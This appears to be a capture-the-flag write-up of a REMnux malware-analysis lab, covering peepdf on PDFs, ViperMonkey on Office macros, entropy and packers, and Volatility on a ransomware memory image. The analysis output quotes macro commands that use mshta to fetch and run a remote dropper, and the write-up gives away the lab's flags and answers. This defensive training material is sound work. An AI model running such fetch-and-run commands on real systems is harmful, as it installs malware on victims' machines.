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MAL: REMnux - The Redux

Deploy the machine to perform the following tasks.

Analysing Malicious PDF's (Task 3)

Analyzing PDF's

PDF's are capable of containing many more types of code that can be executed without the user's knowledge. This includes:

- Javascript
- Python
- Executables
- Powershell Shellcode

We'll be using `peepdf` to begin a precursory analysis of a PDF file to determine the presence of Javascript. If there is, we will extract this Javascript code (without executing it) for our inspection

```

remnux@thm-remnux:~/Tasks/3$ peepdf notsuspicious.pdf
Warning: PyV8 is not installed!!

File: notsuspicious.pdf
MD5: 2992490eb3c13d8006e8e17315a9190e
SHA1: 75884015d6d984a4fcde046159f4c8f9857500ee
SHA256: 83fefbd2512591b8d06cda47d56650f9cbb75f2e8dbe0ab4186bf4c0483ef468a
Size: 28891 bytes
Version: 1.7
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 18
Streams: 3
URIs: 0
Comments: 0
Errors: 0

Version 0:
  Catalog: 1
  Info: 7
  Objects (18): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18]
  Streams (3): [4, 15, 18]
    Encoded (2): [15, 18]
  Objects with JS code (1): [6]
  Suspicious elements:
    /OpenAction (1): [1]
    /JS (1): [6]
    /JavaScript (1): [6]

remnux@thm-remnux:~/Tasks/3$

```

How many types of categories of "Suspicious elements" are there in "notsuspicious.pdf"

3

```

Suspicious elements:
  /OpenAction (1): [1]
  /JS (1): [6]
  /JavaScript (1): [6]

```

Extract the javascript .

First step is to create a script for peepdf.

The following command will create a script for peepdf.

```

echo 'extract js > javascript-from-demo_notsuspicious.pdf' >
extracted_javascript.txt

```

```

remnux@thm-remnux:~/Tasks/3$ echo 'extract js > javascript-from-demo_notsuspicious.pdf' > extracted_javascript.txt
remnux@thm-remnux:~/Tasks/3$ cat extracted_javascript.txt
extract js > javascript-from-demo_notsuspicious.pdf
remnux@thm-remnux:~/Tasks/3$

```

Second step , we can extract the javascript using peepdf using command

```

peepdf -s extracted_javascript.txt demo_notsuspicious.pdf

```

Use peepdf to extract the javascript from "notsuspicious.pdf".
What is the flag?

```
THM{Luckily_This_Isn't_Harmful}
```

```
remnux@thm-remnux:~/Tasks/3$ cat javascript-from-demo notsuspicious.pdf
// peepdf comment: Javascript code located in object 6 (version 0)

app.alert("THM{Luckily_This_Isn't_Harmful}");remnux@thm-remnux:~/Tasks/3$
```

How many types of categories of "Suspicious elements" are there in "advert.pdf"

6

```
app.alert("THM{Luckily_This_Isn't_Harmful}");remnux@thm-remnux:~/Tasks/3$ peepdf advert.pdf
Warning: PyV8 is not installed!!

File: advert.pdf
MD5: 1b79db939b1a77a2f14030f9fd165645
SHA1: e760b618943fe8399ac1af032621b6e7b327a772
SHA256: 09bb03e57d14961e522446e1e81184ca0b4e4278f080979d80ef20dacbbe50b7
Size: 74870 bytes
Version: 1.7
Binary: True
Linearized: False
Encrypted: False
Updates: 2
Objects: 29
Streams: 6
URIs: 0
Comments: 0
Errors: 1

Version 0:
  Catalog: 1
  Info: 9
  Objects (22): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22]
  Compressed objects (7): [10, 11, 12, 13, 14, 15, 16]
  Streams (5): [4, 17, 19, 20, 22]
    Xref streams (1): [22]
    Object streams (1): [17]
    Encoded (4): [4, 17, 19, 22]
  Suspicious elements:
    /Names (1): [13]

Version 1:
  Catalog: 1
  Info: 9
  Objects (0): []
  Streams (0): []

Version 2:
  Catalog: 1
  Info: 9
  Objects (7): [1, 3, 24, 25, 26, 27, 28]
  Streams (1): [26]
    Encoded (1): [26]
  Objects with JS code (1): [27]
  Suspicious elements:
    /OpenAction (1): [1]
    /Names (2): [24, 1]
    /AA (1): [3]
    /JS (1): [27]
    /Launch (1): [28]
    /JavaScript (1): [27]
```

Now use peepdf to extract the javascript from "advert.pdf". What is the value of "cName"?

notsuspicious

```
remnux@thm-remnux:~/Tasks/3$ echo 'extract js > javascript-from-advert.pdf' > advert.txt
remnux@thm-remnux:~/Tasks/3$ cat javascript-from-advert.pdf
cat: javascript-from-advert.pdf: No such file or directory
remnux@thm-remnux:~/Tasks/3$ peepdf -s advert.txt advert.pdf
remnux@thm-remnux:~/Tasks/3$ cat javascript-from-advert.pdf
// peepdf comment: Javascript code located in object 27 (version 2)

this.exportDataObject({
  cName: "notsuspicious",
  nLaunch: 0
});
```

Analysing Malicious Microsoft Office Macros (Task 4)

Malware infection via malicious macros (or scripts within Microsoft Office products such as Word and Excel) are some of the most successful attacks to date.

Example of APT - Emotet, QuickBot

To check if a MS Office document contains macros we can use the `vmonkey` utility. `vmonkey <filename>.doc` command is used.

What is the name of the Macro for "DefinitelyALegitInvoice.doc"

DefoLegit

```
remnux@thm-remnux:~/Tasks/4$ vmonkey DefinitelyALegitInvoice.doc
[ASCII art logo consisting of a grid of slashes and backslashes forming a stylized 'V' and 'M']

vmonkey 0.08 - https://github.com/decalage2/ViperMonkey
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/ViperMonkey/issues

=====
FILE: DefinitelyALegitInvoice.doc
INFO      Starting emulation...
INFO      Emulating an Office (VBA) file.
INFO      Reading document metadata...
Traceback (most recent call last):
  File "/opt/vipermonkey/src/vipermonkey/vipermonkey/export_all_excel_sheets.py", line 15, in <module>
    from unotools import Socket, connect
ModuleNotFoundError: No module named 'unotools'
```

```
Recorded Actions:
+-----+-----+-----+
| Action          | Parameters          | Description          |
+-----+-----+-----+
| Found Heuristic | DefoLegit           |                      |
| Entry Point     |                      |                      |
| Execute Command | cmd /c mshta http://10.0.0.10:4444/MyDropper.exe | Shell function      |
| Found Heuristic | DefoLegit           |                      |
| Entry Point     |                      |                      |
| Execute Command | cmd /c mshta http://10.0.0.10:4444/MyDropper.exe | Shell function      |
+-----+-----+-----+

INFO      Found 7 possible IOCs. Stripping duplicates...
VBA Builtins Called: ['Shell']

Finished analyzing DefinitelyALegitInvoice.doc .
```

What is the URL the Macro in "Taxes2020.doc" would try to launch?

<http://tryhackme.com/notac2server.sh>

```
Recorded Actions:
+-----+-----+-----+
| Action          | Parameters          | Description          |
+-----+-----+-----+
| Found Heuristic | X544FE              |                      |
| Entry Point     |                      |                      |
| Execute Command | cmd /c mshta http://tryhackme.com/notac2server.sh | Shell function      |
| Found Heuristic | X544FE              |                      |
| Entry Point     |                      |                      |
| Execute Command | cmd /c mshta http://tryhackme.com/notac2server.sh | Shell function      |
+-----+-----+-----+

INFO      Found 7 possible IOCs. Stripping duplicates...
VBA Builtins Called: ['Shell']


Finished analyzing Taxes2020.doc .
```

I Hope You Packed Your Bags (Task 5)

At it's very simplest, file entropy is a rating that scores how random the data within a PE file is. With a scale of 0 to 8. 0 meaning the less "randomness" of the data in the file, where a scoring towards 8 indicates this data is more "random".

For example, files that are encrypted will have a very high entropy score. Where files that have large chunks of the same data such as "1's" will have a low entropy score.

Low Entropy



(Sikorski and Honig, 2012)

What is the highest file entropy a file can have?

8

What is the lowest file entropy a file can have?

0

Name a common packer that can be used for applications?

UPX

How's Your Memory? (Task 6)

Volatility

Volatility is unable to assume what the operating system that we have created a memory dump is.

Whilst Volatility can't assume, it can guess. Here's where profiles come into play.

In other scenarios, we would use the imageinfo plugin to help determine what profile is most suitable with the syntax of `volatility -f Win7-Jigsaw.raw imageinfo`

```
remnux@remnux:~/Tasks/6$ volatility -f Win7-Jigsaw.raw imageinfo
Volatility Foundation Volatility Framework 2.6.1
/usr/local/lib/python2.7/dist-packages/volatility/plugins/community/YingLi/ssh_agent_key.py:12: C
ning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated i
be removed in a future release.
  from cryptography.hazmat.backends.openssl import backend
INFO      : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, W
n2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/home/remnux/Tasks/6/Win7-Jigsaw.raw)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf6fc00016130L
Number of Processors : 2
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0xffffffff80002c02000L
KPCR for CPU 1 : 0xffffffff88002f00000L
KUSER_SHARED_DATA : 0xffffffff78000000000L
Image date and time : 2020-10-20 17:21:03 UTC+0000
Image local date and time : 2020-10-20 18:21:03 +0100
remnux@remnux:~/Tasks/6$
```

Profile win7SP1x64 is the first suggested and just happens to be the correct OS version.

We can list the processes that were running via `pslist` :

`volatility -f Win7-Jigsaw.raw --profile=Win7SP1x64 pslist` command is used.


```

remnux@thm-remnux:~/Tasks/6$ volatility -f Win7-Jigsaw.raw --profile=Win7SP1x64 pslist
Volatility Foundation Volatility Framework 2.6.1
/usr/local/lib/python2.7/dist-packages/volatility/plugins/community/YingLi/ssh_agent_key.py:12: CryptographyDeprecationWarning: Python 2 is no longer
supported in cryptography, and will be removed in a future release.
  from cryptography.hazmat.backends.openssl import backend
Offset(V)  Name  PID  PPID  Thds  Hnds  Sess  Wow64  Start  Exit
-----
0xffffffff8003cf0960 System 4 0 88 629 ----- 0 2020-10-20 08:16:59 UTC+0000
0xffffffff800472e040 smss.exe 220 4 2 30 ----- 0 2020-10-20 08:16:59 UTC+0000
0xffffffff80044f8b00 csrss.exe 320 308 9 466 0 0 2020-10-20 08:17:07 UTC+0000
0xffffffff80052ecb00 csrss.exe 376 368 12 373 1 0 2020-10-20 08:17:08 UTC+0000
0xffffffff80052eeb00 wininit.exe 384 308 3 80 0 0 2020-10-20 08:17:08 UTC+0000
0xffffffff800531bb00 winlogon.exe 436 368 3 121 1 0 2020-10-20 08:17:09 UTC+0000
0xffffffff8004ffeb00 services.exe 484 384 10 207 0 0 2020-10-20 08:17:09 UTC+0000
0xffffffff8005011b00 lsass.exe 492 384 8 613 0 0 2020-10-20 08:17:10 UTC+0000
0xffffffff8005018b00 lsm.exe 500 384 10 148 0 0 2020-10-20 08:17:10 UTC+0000
0xffffffff800535eb00 svchost.exe 612 484 10 366 0 0 2020-10-20 08:17:14 UTC+0000
0xffffffff800537e060 svchost.exe 680 484 9 285 0 0 2020-10-20 08:17:15 UTC+0000
0xffffffff80053af060 svchost.exe 776 484 19 468 0 0 2020-10-20 08:17:15 UTC+0000
0xffffffff8004462b00 svchost.exe 816 484 18 399 0 0 2020-10-20 08:17:16 UTC+0000
0xffffffff8004ef11c0 svchost.exe 844 484 16 655 0 0 2020-10-20 08:17:16 UTC+0000
0xffffffff8004f14060 svchost.exe 868 484 33 1238 0 0 2020-10-20 08:17:16 UTC+0000
0xffffffff8004e71060 svchost.exe 472 484 15 484 0 0 2020-10-20 08:17:18 UTC+0000
0xffffffff8005080320 spoolsv.exe 1044 484 14 289 0 0 2020-10-20 08:17:22 UTC+0000
0xffffffff8004f20060 svchost.exe 1080 484 18 342 0 0 2020-10-20 08:17:23 UTC+0000
0xffffffff80054d3720 svchost.exe 1256 484 10 172 0 0 2020-10-20 08:18:01 UTC+0000
0xffffffff8005512700 taskhost.exe 1380 484 10 249 1 0 2020-10-20 08:18:07 UTC+0000
0xffffffff8005558920 taskeng.exe 1464 868 5 94 0 0 2020-10-20 08:18:09 UTC+0000
0xffffffff8005576b00 MicrosoftEdgeU 1508 1464 3 109 0 1 2020-10-20 08:18:13 UTC+0000
0xffffffff800559a060 VGAuthService. 1572 484 4 96 0 0 2020-10-20 08:18:16 UTC+0000
0xffffffff800559ea00 dwm.exe 1588 816 7 151 1 0 2020-10-20 08:18:17 UTC+0000
0xffffffff80055adb00 explorer.exe 1596 1580 47 1188 1 0 2020-10-20 08:18:18 UTC+0000
0xffffffff8005676b00 vmttoolsd.exe 1824 484 11 302 0 0 2020-10-20 08:18:41 UTC+0000
0xffffffff80053f55a0 vm3dservice.ex 2020 1596 2 42 1 0 2020-10-20 08:19:20 UTC+0000
0xffffffff80053fd9b0 vmttoolsd.exe 2028 1596 8 238 1 0 2020-10-20 08:19:20 UTC+0000
0xffffffff8003da3b00 Greenshot.exe 2040 1596 6 259 1 0 2020-10-20 08:19:24 UTC+0000
0xffffffff80052e95f0 SearchIndexer. 1444 484 13 707 0 0 2020-10-20 08:20:41 UTC+0000
0xffffffff8005448b00 dlhhost.exe 2248 484 13 202 0 0 2020-10-20 08:21:08 UTC+0000
0xffffffff80058021f0 WmiPrvSE.exe 2488 612 10 253 0 0 2020-10-20 08:21:30 UTC+0000
0xffffffff80058e95f0 msdtc.exe 2720 484 12 146 0 0 2020-10-20 08:21:52 UTC+0000
0xffffffff80059c6210 sppsvc.exe 2972 484 4 169 0 0 2020-10-20 08:22:56 UTC+0000
0xffffffff8006446060 OfficeClickToR 1432 484 19 573 0 0 2020-10-20 08:33:19 UTC+0000
0xffffffff800647d060 chrome.exe 2472 1596 0 ----- 1 0 2020-10-20 16:01:08 UTC+0000 2020-10-20 17:02:17 UTC+0000
0xffffffff800684ca00 drpbx.exe 3704 3604 4 131 1 0 2020-10-20 17:03:58 UTC+0000
0xffffffff80066f1b00 svchost.exe 2852 484 5 46 0 0 2020-10-20 17:20:08 UTC+0000
remnux@thm-remnux:~/Tasks/6$

```